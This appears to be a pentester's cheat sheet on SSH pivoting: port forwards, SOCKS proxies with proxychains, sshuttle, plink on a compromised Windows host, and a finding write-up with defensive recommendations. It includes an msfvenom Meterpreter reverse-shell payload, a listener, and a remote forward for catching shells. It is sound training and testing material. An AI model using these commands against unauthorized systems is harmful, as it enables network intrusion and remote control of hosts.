πŸ›‘οΈ Methodology Checklist

  • Confirm SSH access to pivot host and internal segment reachability
  • Local forward: ssh -L [LPORT]:[INTERNAL_IP]:[PORT] user@[PIVOT]
  • Dynamic SOCKS proxy: ssh -D 9050 user@[PIVOT]
  • Configure /etc/proxychains.conf: socks5 127.0.0.1 9050
  • Verify listener: ss -tlnp | grep 9050
  • Test connectivity: proxychains4 -q curl http://[INTERNAL_IP]
  • Remote tunnel (reverse): ssh -R [RPORT]:localhost:[LPORT] user@[ATTACKER]
  • Close SSH session cleanly when done

🎯 Operational Context

Use when: SSH access to a pivot host β€” use dynamic SOCKS proxy (-D), local port forward (-L), or remote port forward (-R) for internal network access. Think Dumber First: ssh -D 9050 [USER]@[PIVOT_IP] then set socks5 127.0.0.1 9050 in proxychains β€” takes 10 seconds and routes all proxychains traffic through the pivot. The most reliable pivoting method when SSH is available. Skip when: SSH not available on pivot β€” use Chisel or netsh instead.


⚑ Tactical Cheatsheet

CommandTactical Outcome
ssh -L [LPORT]:localhost:[REMOTE_PORT] [USER]@[PIVOT_IP]Local forward β€” specific local port β†’ specific remote service
ssh -L [LPORT]:localhost:[PORT1] -L [LPORT2]:localhost:[PORT2] [USER]@[PIVOT_IP]Multiple local forwards in one command
ssh -D 9050 [USER]@[PIVOT_IP]Dynamic forward β€” SOCKS proxy on local port 9050 for entire internal network
ssh -R [PIVOT_LAN_IP]:[PIVOT_PORT]:0.0.0.0:[LPORT] [USER]@[PIVOT_IP] -vNRemote forward β€” pivot listens, forwards reverse shell back to attack host
proxychains nmap -v -Pn -sT [TARGET_IP]Scan internal host via SOCKS tunnel (must use -sT -Pn)
proxychains xfreerdp3 /v:[TARGET_IP] /u:[USER] /p:[PASS]RDP to internal host via SOCKS proxy
sudo sshuttle -r [USER]@[PIVOT_IP] [TARGET_SUBNET]/[CIDR] -vTransparent VPN-like proxy β€” no proxychains needed
sudo sshuttle -r [USER]@[PIVOT_IP] 0.0.0.0/0 -x [PIVOT_IP]Route all traffic except pivot host itself (prevent loops)
echo y | plink.exe -ssh -D 9050 [USER]@[PIVOT_IP]Windows plink β€” dynamic SOCKS proxy
plink.exe -ssh -L [LPORT]:[INTERNAL_IP]:[TARGET_PORT] [USER]@[PIVOT_IP] -pw [PASS]Windows plink β€” local port forward
netstat -antp | grep [LPORT]Verify SSH tunnel is listening on attack host

πŸ”¬ Deep Dive & Workflow

Identifying Pivot Opportunities

# Linux: find dual-homed hosts (multiple NICs = pivot candidate)
ifconfig    # look for eth1, tun1 with different subnets
netstat -r  # check routing table for reachable subnets
 
# Windows
ipconfig /all
route print

Diagram rule: Map every NIC and subnet discovered. Multi-level pivots require knowing exactly which host bridges which networks.

SSH Local Port Forwarding (-L)

Use when you know the exact service and port to target (e.g., MySQL on 3306):

# Forward local:1234 β†’ pivot's localhost:3306
ssh -L 1234:localhost:3306 [USER]@[PIVOT_IP]
 
# Verify
netstat -antp | grep 1234
nmap -v -sV -p1234 localhost
 
# Use it
mysql -h 127.0.0.1 -P 1234 -u root -p

SSH Dynamic Port Forwarding (-D) + proxychains

Use when you need to reach any IP/port on the internal network:

# 1. Open SOCKS proxy
ssh -D 9050 [USER]@[PIVOT_IP]
 
# 2. Configure proxychains  (see "Configuring proxychains.conf by hand" below)
echo "socks5 127.0.0.1 9050" >> /etc/proxychains.conf
 
# 3. Tunnel any tool
proxychains nmap -v -Pn -sT [TARGET_IP]      # -sT mandatory (no SYN through SOCKS)
proxychains xfreerdp3 /v:[TARGET_IP] /u:[USER] /p:[PASS]
proxychains msfconsole

Configuring proxychains.conf by hand

This is the canonical reference for the proxychains config edit used across the pivoting and NetExec pages β€” do it once by hand so the echo >>/sed shortcuts make sense.

Which file: on Kali the active file is /etc/proxychains4.conf (the binary is proxychains4/proxychains-ng); older setups use /etc/proxychains.conf. Check which exists: ls -l /etc/proxychains*.conf.

By hand β€” open it (sudo nano /etc/proxychains4.conf) and look at two things:

  1. The dynamic_chain / strict_chain / proxy_dns toggles near the top (comment lines with #). Leave defaults; optionally enable proxy_dns so name resolution goes through the tunnel.
  2. The [ProxyList] section at the very bottom β€” one proxy per line, format type host port:
[ProxyList]
# add proxy here ...
# defaults to "tor"
socks5  127.0.0.1  9050

Replace the stock socks4 127.0.0.1 9050 entry with your tunnel’s protocol and port. Two rules that trip people up:

  • socks5, not socks4 β€” SSH -D and Chisel/MSF SOCKS speak SOCKS5; SOCKS4 has no UDP and no remote DNS, so DNS-dependent tools silently fail.
  • Port must match your tunnel β€” ssh -D 9050 β†’ port 9050; MSF/Chisel default β†’ 1080. A mismatch looks like β€œproxychains hangs.”

As shortcuts (same edit):

# Append a line (leaves any stock entry in place β€” fine if you commented it out):
echo "socks5 127.0.0.1 9050" | sudo tee -a /etc/proxychains4.conf
# Or rewrite the stock socks4 line in place:
sudo sed -i 's/^socks4.*/socks5 127.0.0.1 9050/' /etc/proxychains4.conf

Verify before relying on it: grep -A3 '\[ProxyList\]' /etc/proxychains4.conf.

SSH Remote Port Forwarding (-R) β€” Catching Reverse Shells

Use when a deep target can reach the pivot but not your attack host:

# 1. Generate payload pointing to PIVOT (not attack host)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[PIVOT_IP] LPORT=8080 -f exe -o shell.exe
 
# 2. Start listener on attack host (different port than pivot port)
use exploit/multi/handler; set lhost 0.0.0.0; set lport 8000; run
 
# 3. SSH remote forward β€” pivot:8080 β†’ attack:8000
ssh -R [PIVOT_IP]:8080:0.0.0.0:8000 [USER]@[PIVOT_IP] -vN
# MUST specify pivot LAN IP β€” omitting it binds only to 127.0.0.1 on pivot (target can't reach that)

sshuttle β€” Transparent Proxy (No proxychains)

Best UX when target subnet needs extensive tool usage. Modifies local iptables routing β€” no proxy prefix needed:

sudo sshuttle -r [USER]@[PIVOT_IP] [SUBNET]/23 -v
 
# Run tools directly (no proxychains)
nmap -v -A -sT -p3389 [TARGET_IP] -Pn
xfreerdp3 /u:[USER] /p:[PASS] /v:[TARGET_IP]

Requirements: Python on pivot host (not required on attack host); sudo on attack host to modify iptables. Does not support UDP or SYN scans reliably β€” use -sT.

plink.exe β€” SSH from Windows

Native Windows alternative when PuTTY is already installed on a compromised host:

# Dynamic SOCKS (pipe y to accept host key)
echo y | plink.exe -ssh -D 9050 [USER]@[PIVOT_IP]
 
# Local forward (RDP β€” use 3390 to avoid conflict with Windows' own RDP on 3389)
plink.exe -ssh -L 3390:[TARGET_IP]:3389 [USER]@[PIVOT_IP] -pw "[PASS]"
mstsc /v:127.0.0.1:3390  # connect with TARGET's credentials (not pivot's)

Two credential sets: plink authenticates to the pivot; the RDP client authenticates to the target.

Comparison Table

MethodUse CaseproxychainsUDPStability
-L (local)Single known serviceNoNoHigh
-D (dynamic)Full subnet accessYesNoMedium
-R (remote)Catch reverse shell from internalNoNoHigh
sshuttleFull subnet, many toolsNoLimitedHigh
plinkWindows attack hostVia ProxifierNoMedium

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
ssh -D port already in useLocal port conflictChange: ssh -D 9090 ...; update proxychains.conf to match
Dynamic proxy works for some tools but not othersSOCKS4 vs SOCKS5Set socks5 not socks4 in proxychains.conf; UDP-based tools don’t work through SOCKS
SSH connection drops after idleNo keepalive configuredAdd: ssh -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -D 9050 ...
Remote port forward (-R) not bindingAllowTcpForwarding disabledCheck sshd_config on attack box: AllowTcpForwarding yes and GatewayPorts yes
Local forward (-L) can’t reach internal serviceWrong destination formatFormat: ssh -L [LPORT]:[INTERNAL_IP]:[INTERNAL_PORT] [USER]@[PIVOT]; INTERNAL_IP is from pivot’s perspective

πŸ“ Reporting Trigger

Finding Title: SSH Dynamic SOCKS Proxy Enables Full Internal Network Access Impact: SSH dynamic proxy through a compromised Linux host routes all attacker traffic through the pivot, providing unrestricted access to the internal network segment with encryption and minimal detection risk on networks that permit outbound SSH. Root Cause: SSH permitted outbound from the pivot host without network-level restrictions. No monitoring of SSH dynamic proxy usage. Recommendation: Restrict SSH access from internal hosts to specific authorized destinations. Alert on outbound SSH connections from non-management hosts. Monitor for SSH with -D or ForwardAgent flags from non-interactive processes. Implement network access control based on host role.